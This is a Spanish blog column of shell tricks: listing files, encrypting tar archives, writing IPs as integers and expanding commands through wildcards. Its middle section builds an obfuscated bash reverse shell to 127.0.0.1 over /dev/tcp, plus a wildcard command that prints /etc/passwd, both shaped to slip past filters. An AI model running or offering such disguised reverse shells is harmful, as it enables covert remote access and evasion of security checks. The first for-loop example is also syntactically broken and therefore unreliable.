Los Mejores Trucos
TRUCOS
Los Mejores Trucos
2025-02-26
Por
Tamariz el de la Perdiz

Como listar un directorio sin ls

Este es un truco bastante güay que nos permite listar el contenido de un directorio sin usar ls.

$ for i in *; echo $i; done

Alternativamente podemos usar echo para listar los ficheros en un determinado directorio:

$ echo /tmp/*

Encriptar ficheros tar con openssl

Alguna vez has tenido que enviar una serie de ficheros protegidos con contraseña. Algunas aplicaciones de compresión te permiten cifrar los datos, pero en caso de que no tengas ninguna a mano, este es un truco para enviar tus datos cifrados

$ tar czf - * | openssl enc -e -aes256 -out secured.tar.gz
$ openssl enc -d -aes256 -in secured.tar.gz | tar xz -C DIR

Ofuscando IPs

Como todos sabemos una dirección IP es un grupo de 4 valores separados por un punto. Cada uno de las partes de una IP puede tomar valores entre 0 y 255, o en otras palabras, se puede almacenar en un solo byte, y por lo tanto, la dirección completa se puede almacenar en un entero de 32-bits.

Pues bien, muchos programas que aceptan direcciones IP nos permiten especificarla como un valor entero. Los siguientes comandos conectan a localhost en el puerto 9999

$ curl 2130706433:9999 
$ nc $((0x7f000001)) 9999

Efectivamente:

 $ printf %x 2130706433
 $ echo $((0x7f000001))
 2130706433
 $ printf "%x %x %x %x\n" 127 0 0 1
 7f 0 0 1

Mola no?

Ejecutando comandos incompletos

Sabías que la shell no solo usa los wildcards o caracter comodín para expandir parámetros, sino que lo aplica a todos los elementos de la línea de comandos?. Por ejemplo, el siguiente comando muestra el fichero /etc/passwd.

$ /???/?at /e??/pa????

Otro ejemplo más interesante, usando nuestro querido Netkitty (suponiendo que esté instalado en /usr/local/bin

$ /???/l*/???/?k  -c T,2130706433,1337

Un par de ejemplos más usando nc.openbsd instalado en /bin.

$ /???/n?.*s? 2130706433 $((023417))
$ /???/??.o* 2130706433 $((0x270f))
$ /???/??.?p* 0177000000001 $((6#114143))

Esta línea inicia una conexión al puerto 9999 en localhost. Y esta inicia un reverse shell a 127.0.0.1:9999

/???/b??h -i >& `echo /d*/``echo top | sed s/o/c/`/2130706433/$((6#114143)) 0>&1
/*/b?s? -i >& `echo /d*/``echo top | sed s/o/c/`/2130706433/9999 0>&1

Veamos elemento a elemento que es lo que estamos ejecutando:

  • /*/b?s? -i >& esta parte se expandirá a /bin/bash -i >& que inicia una shell en modo interactivo y redirecciona la entrada y salida estándar a lo que sigue
  • `echo /d*/``echo top | sed s/o/c/` este comando se expande a /dev/tcp que es un pseudo fichero con el que podemos establecer conexiones TCP desde bash
  • /2130706433/ esta es la dirección IP en formato decimal. Ya has visto como generarla en el truco anterior. En este caso corresponde con 127.0.0.1
  • $((6#114143)) este es el puerto 9999 en base 6
  • 0>&1 y esta redirección final indica que la entrada estándar también se redirige al descriptor de ficheros 1 que ahora es el socket TCP a la dirección indicada.

:)

Generar palabras aleatorias

La utilidad look genera una lista de palabras que empiezan por los caracteres que le pasamos como parámetro. En realidad lo que hace es una búsqueda en el diccionario del sistema buscando palabras que comiencen con las letras que le indicamos. Podemos usar esta utilidad para generar una palabra aleatorio con un comando como este:

$ look . | shuf | head -1

Si cambiamos el -1 de head podemos obtener más palabras :)


SOBRE Tamariz el de la Perdiz
Tamaríz es un mago de la línea de comandos, un ilusionista de las pipes, un nigromante guardián de las ancestrales herramientas olvidadas por los mortales. Vamos, el tío de la sección de trucos.

 
Tu publicidad aquí :)